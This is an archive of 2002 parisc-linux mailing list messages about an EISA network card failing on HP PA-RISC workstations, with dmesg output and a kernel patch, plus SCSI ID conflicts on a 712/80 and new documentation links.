NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:12 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 09:33:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81100482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:33:28 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by daedalus.cs.brandeis.edu (8.9.3/8.9.3) id LAA25431
	for parisc-linux@lists.parisc-linux.org; Fri, 11 Jan 2002 11:33:27 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13687

I pulled an HP branded EISA ATM card from my 755 a while ago.  If
anyone out there wants it, I have no current of future need and don't
mind giving it to someone who does.  
contact off list for more
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 12:54:13 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <3C3F26C5.30801@neuronet.pitt.edu>
References: <3C3F06DD.6050409@verizon.net> <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk> <3C3F0DD1.4040508@verizon.net> <20020111161705.E26644@parcelfarce.linux.theplanet.co.uk> <3C3F1127.8070507@verizon.net> <20020111162742.F26644@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620952 716 80.91.229.3 (22 Nov 2014 01:49:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:12 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 10:56:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server1.neuronet.pitt.edu (server1.neuronet.pitt.edu [150.232.128.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A622482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 10:56:54 -0700 (MST)
Original-Received: from neuronet.pitt.edu (host10a.neuronet.pitt.edu [150.232.128.120])
	by server1.neuronet.pitt.edu (8.8.8/8.8.8) with ESMTP id MAA05965
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 12:56:57 -0500 (EST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7+) Gecko/20020107
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13688

Matthew Wilcox wrote:

> On Fri, Jan 11, 2002 at 11:21:59AM -0500, Rafael Herrera wrote:
> 
>>If it's of any help, the card is connected through an add-on card to the 
>>main board. The chips on the add-on card are: TACT84544BPC, TACT84543BPP 
>>and TACT84541CPC.
> 
> Yep, I'm familiar with that board.  Normally when it's plugged in, PDC
> reports the EISA adapter.  Can you try unplugging it & replugging it to
> see if that helps?  You cold also try messing around at the PDC prompt,
> see whether anything can see it.  As you may have guessed, I have no
> idea what the problem is and I'm suggesting things at random :-)


I'll try when I get back home.

Raf






From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 - 7cdroms - scsi prbl
Date: Fri, 11 Jan 2002 12:10:24 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20020111191024.CB9E6482A@dsl2.external.hp.com>
References: <001001c199fd$ca7fe700$0800a8c0@beta>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620952 721 80.91.229.3 (22 Nov 2014 01:49:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Sorin Ghinescu" <sghinesc@columbus.rr.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 12:10:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CB9E6482A; Fri, 11 Jan 2002 12:10:24 -0700 (MST)
In-Reply-To: Message from "Sorin Ghinescu" <sghinesc@columbus.rr.com> 
   of "Thu, 10 Jan 2002 12:39:23 EST." <001001c199fd$ca7fe700$0800a8c0@beta> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13689

"Sorin Ghinescu" wrote:
> I'm booting from my external cd-rom but it seems that the kernel is
> fooled by something because it creates 7 cd-rom devices for all the scsi
> targets available leaving no room for the hd. If I switch the cd-rom off
> then I get 7 hds!

This typically means the HD is set to the same SCSI ID as the
interface controller (NCR 53c710 logic on LASI). Host ID is
7 by default. Verify the HD is set to something else.

It's possible the lasi scsi driver is broken and setting the
initiator to 0 (or something other than 7).

grant



From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 11:38:02 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20020111113403.03f1b330@mira-sjc5-9.cisco.com>
References: <3C3F06DD.6050409@verizon.net>
 <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk> <3C3F0DD1.4040508@verizon.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620953 724 80.91.229.3 (22 Nov 2014 01:49:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:13 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 12:38:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42645482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 12:38:18 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id g0BJbok07182
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 11:37:50 -0800 (PST)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-24.cisco.com [171.71.143.24])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABU13275;
	Fri, 11 Jan 2002 11:38:22 -0800 (PST)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
In-Reply-To: <3C3F0DD1.4040508@verizon.net>
Original-References: <3C3F06DD.6050409@verizon.net>
 <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13690

I do see those same messages :


>PCI or EISA Host Bus Adapter 0 not registered. in16(0x100) returning -1

running newer kernels on a C110 with a NE1000 NIC. With 2.4.9-pa23 it works 
nicely. Here is the output with a newer kernel 2.4.17-pa3 :

15. Raven T' Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x1e, 0x0, 
0x90,
  additional addresses: 0xf4000000
16. U2-IOA BC GSC+ Port (7) at 0xf5fbf000 [8/63], versions 0x501, 0x1, 0xc
17. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0x7, 0xb
18. Coral SGC Graphics (10) at 0xf6000000 [10/20], versions 0x4, 0x0, 0x77
19. U2-IOA BC GSC+ Port (7) at 0xf5fff000 [10/63], versions 0x501, 0x1, 0xc
20. Raven 120 T' (0) at 0xfffa0000 [32], versions 0x58e, 0x0, 0x4
21. SkyHawk 100/120 (1) at 0xfffb1000 [49], versions 0x49, 0x0, 0x9
CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz
ccio found U2 at 0xfff88000
ccio found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA Adapter found at 0xfc000000
EISA: failed to claim EISA Bus address space!

Note the message in the last line !

Maybe that gives some hint what its going on,

         Christian





From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 20:00:16 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20020111200016.B20052@parcelfarce.linux.theplanet.co.uk>
References: <3C3F06DD.6050409@verizon.net> <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk> <3C3F0DD1.4040508@verizon.net> <4.3.2.7.2.20020111113403.03f1b330@mira-sjc5-9.cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620953 734 80.91.229.3 (22 Nov 2014 01:49:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:13 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 13:00:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51A3B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 13:00:19 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16P7qa-0005du-00; Fri, 11 Jan 2002 20:00:16 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <4.3.2.7.2.20020111113403.03f1b330@mira-sjc5-9.cisco.com>; from csuder@cisco.com on Fri, Jan 11, 2002 at 11:38:02AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13691

On Fri, Jan 11, 2002 at 11:38:02AM -0800, Christian Suder wrote:
> running newer kernels on a C110 with a NE1000 NIC. With 2.4.9-pa23 it works 
> nicely. Here is the output with a newer kernel 2.4.17-pa3 :
> Wax EISA Adapter found at 0xfc000000
> EISA: failed to claim EISA Bus address space!
> 
> Note the message in the last line !
> 
> Maybe that gives some hint what its going on,

This is a very different problem -- your machine at least finds the
EISA adapter.  I'm interesting in debugging it though; please send a
full dmesg to me in personal mail.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC assembly
Date: Fri, 11 Jan 2002 13:45:07 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020111204507.2266D482A@dsl2.external.hp.com>
References: <200201071839.g07IdNoC000344@hiauly1.hia.nrc.ca>  <20020109010507.80989482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620953 739 80.91.229.3 (22 Nov 2014 01:49:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 13:45:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2266D482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jan 2002 13:45:07 -0700 (MST)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Tue, 08 Jan 2002 18:05:07 MST." <20020109010507.80989482A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13692

Grant Grundler wrote:
> I've been given the OK to link into h21007.www2.hp.com website and promised
> the URLs for specific documents wouldn't change (too) suddenly.
> I'll add those links in the next couple of days to p-l.org
> "Tech Documentation" to those.

I've added links for PA 1.1 and PA 2.0 Instruction Sets among other things.
Please reload:
	http://www.parisc-linux.org/documentation/index.html

Please continue to post requests for links to docs here.
(I'm not promising any new docs at this point).

thanks,
grant



From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 21:54:06 +0000
Lines: 93
Approved: news@gmane.org
Message-ID: <20020111215406.E20052@parcelfarce.linux.theplanet.co.uk>
References: <3C3F06DD.6050409@verizon.net> <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk> <3C3F0DD1.4040508@verizon.net> <4.3.2.7.2.20020111113403.03f1b330@mira-sjc5-9.cisco.com> <20020111200016.B20052@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620953 740 80.91.229.3 (22 Nov 2014 01:49:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:13 +0000 (UTC)
Cc: Christian Suder <csuder@cisco.com>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 14:54:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0FA9482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 14:54:07 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16P9ck-0006vC-00; Fri, 11 Jan 2002 21:54:06 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020111200016.B20052@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Jan 11, 2002 at 08:00:16PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13693

On Fri, Jan 11, 2002 at 08:00:16PM +0000, Matthew Wilcox wrote:
> This is a very different problem -- your machine at least finds the
> EISA adapter.  I'm interesting in debugging it though; please send a
> full dmesg to me in personal mail.

based on the information you sent, try this patch:

Index: drivers/gsc/dino.c
===================================================================
RCS file: /var/cvs/linux/drivers/gsc/dino.c,v
retrieving revision 1.51
diff -u -p -r1.51 dino.c
--- drivers/gsc/dino.c	2002/01/09 00:13:53	1.51
+++ drivers/gsc/dino.c	2002/01/11 21:37:44
@@ -466,15 +464,6 @@ dino_bios_init(void)
  * Claim an 8MB chunk of unused IO space and call the generic PCI routines
  * to set up the addresses of the devices on this bus.
  */
-#ifdef CONFIG_IOMMU_CCIO
-struct ioc;
-void ccio_extend_mmio_range(struct ioc *ioc);
-struct resource * ccio_find_parisc_resource(struct ioc *ioc);
-#else /* !CONFIG_IOMMU_CCIO */
-#define ccio_extend_mmio_range()
-#define ccio_find_parisc_resource(x) &iomem_resource
-#endif /* !CONFIG_IOMMU_CCIO */
-
 #define _8MB 0x00800000
 static void __init
 dino_card_setup(struct pci_bus *bus, unsigned long base_addr)
Index: drivers/gsc/eisa.c
===================================================================
RCS file: /var/cvs/linux/drivers/gsc/eisa.c,v
retrieving revision 1.13
diff -u -p -r1.13 eisa.c
--- drivers/gsc/eisa.c	2001/11/13 20:42:43	1.13
+++ drivers/gsc/eisa.c	2002/01/11 21:37:44
@@ -311,16 +311,22 @@ static void init_eisa_pic(void)
 static int __devinit eisa_probe(struct parisc_device *dev)
 {
 	int result;
+	struct resource *parent_resource;
+
 	char *name = is_mongoose(dev) ? "Mongoose" : "Wax";
 
 	printk(KERN_INFO "%s EISA Adapter found at 0x%08lx\n", 
 		name, dev->hpa);
-   
+
+	eisa_dev.hba.dev = dev;
+	eisa_dev.hba.iommu = ccio_get_iommu(dev);
+	parent_resource = ccio_find_parisc_resource(eisa_dev.hba.iommu);
+
 	eisa_dev.hba.lmmio_space.name = "EISA";
 	eisa_dev.hba.lmmio_space.start = (unsigned long) 0xfffffffffc000000;
 	eisa_dev.hba.lmmio_space.end = (unsigned long) 0xffffffffffbfffff;
 	eisa_dev.hba.lmmio_space.flags = IORESOURCE_MEM;
-	result = request_resource(&iomem_resource, &eisa_dev.hba.lmmio_space);
+	result = request_resource(parent_resource, &eisa_dev.hba.lmmio_space);
 	if (result < 0) {
 		printk(KERN_ERR "EISA: failed to claim EISA Bus address space!\n");
 		return result;
Index: include/asm-parisc/pci.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/pci.h,v
retrieving revision 1.39
diff -u -p -r1.39 pci.h
--- include/asm-parisc/pci.h	2002/01/07 23:51:15	1.39
+++ include/asm-parisc/pci.h	2002/01/11 21:37:46
@@ -247,11 +247,16 @@ extern inline void pcibios_register_hba(
 
 #ifdef CONFIG_IOMMU_CCIO
 struct parisc_device;
+struct ioc;
 void * ccio_get_iommu(struct parisc_device *dev);
 struct pci_dev * ccio_get_fake(struct parisc_device *dev);
+void ccio_extend_mmio_range(struct ioc *ioc);
+struct resource * ccio_find_parisc_resource(struct ioc *ioc);
 #else /* !CONFIG_IOMMU_CCIO */
-#define ccio_get_iommu(dev) (NULL)
-#define ccio_get_fake(dev) (NULL)
+#define ccio_get_iommu(dev) do { } while (0)
+#define ccio_get_fake(dev) do { } while (0)
+#define ccio_extend_mmio_range(ioc) do { } while (0)
+#define ccio_find_parisc_resource(x) &iomem_resource
 #endif /* !CONFIG_IOMMU_CCIO */
 
 #ifdef CONFIG_IOMMU_SBA

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Mockford" <brian.mockford@dartnet.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 - 7cdroms - scsi prbl
Date: Fri, 11 Jan 2002 21:55:54 -0000
Lines: 80
Approved: news@gmane.org
Message-ID: <001401c19aea$c3282f60$503b9ed4@brianmoc>
References: <Pine.LNX.4.33.0201102123200.22257-100000@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620954 746 80.91.229.3 (22 Nov 2014 01:49:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:14 +0000 (UTC)
Cc: "Sorin Ghinescu" <sghinesc@columbus.rr.com>,
	<parisc-linux@lists.parisc-linux.org>
To: "Phil Anderson" <andersop@neverland.ncssm.edu>,
	"Matt Taggart" <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 15:03:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlas.valhalla.net (atlas.valhalla.net [195.26.32.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CCAB482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 15:03:27 -0700 (MST)
Original-Received: from brianmoc (212-158-59-80.telecity.valhalla.net [212.158.59.80])
	by atlas.valhalla.net (Postfix) with SMTP
	id 7A9E8DBB86; Fri, 11 Jan 2002 22:03:23 +0000 (GMT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13694

Perhaps ---

This is a classic symptom of a SCSI device set with the same address as the
SCSI controller - normally 7 in a narrow SCSI environment.
Change the address of the CDROM to 4
You need to identify the CDROM SCSI address jumpers. (usually 3 pairs of
adjacent pins with plastic shorting jumpers on. If all three have jumpers
then it is likely the device is set to address 7. remove the middle jumper -
this will change it to address 4. There may still be a conflict with another
device , but the seven drives should "go away"

Regards

Brian Mockford.
----- Original Message -----
From: "Phil Anderson" <andersop@neverland.ncssm.edu>
To: "Matt Taggart" <taggart@carmen.fc.hp.com>
Cc: "Sorin Ghinescu" <sghinesc@columbus.rr.com>;
<parisc-linux@lists.parisc-linux.org>
Sent: Friday, January 11, 2002 2:24 AM
Subject: Re: [parisc-linux] 712/80 - 7cdroms - scsi prbl


>
>
> I've had this happen too, but it was on a Sun Ultra 30. The problem was
> that the computer didn't recognize the CDROM correctly. Trying a different
> cdrom may fix the problem... It did for me.
>
> -phil
>
>
>
>
> On Thu, 10 Jan 2002, Matt Taggart wrote:
>
> >
> > "Sorin Ghinescu" writes...
> >
> > > Hi guys,
> > > I'm trying to install parisc-linux on 712/80.
> > > I don't know if this is actually an OS problem or a hardware problem
but
> > > you may have experienced it and could help me.
> > > I'm booting from my external cd-rom but it seems that the kernel is
> > > fooled by something because it creates 7 cd-rom devices for all the
scsi
> > > targets available leaving no room for the hd. If I switch the cd-rom
off
> > > then I get 7 hds!
> > > Has anyone experienced this?
> >
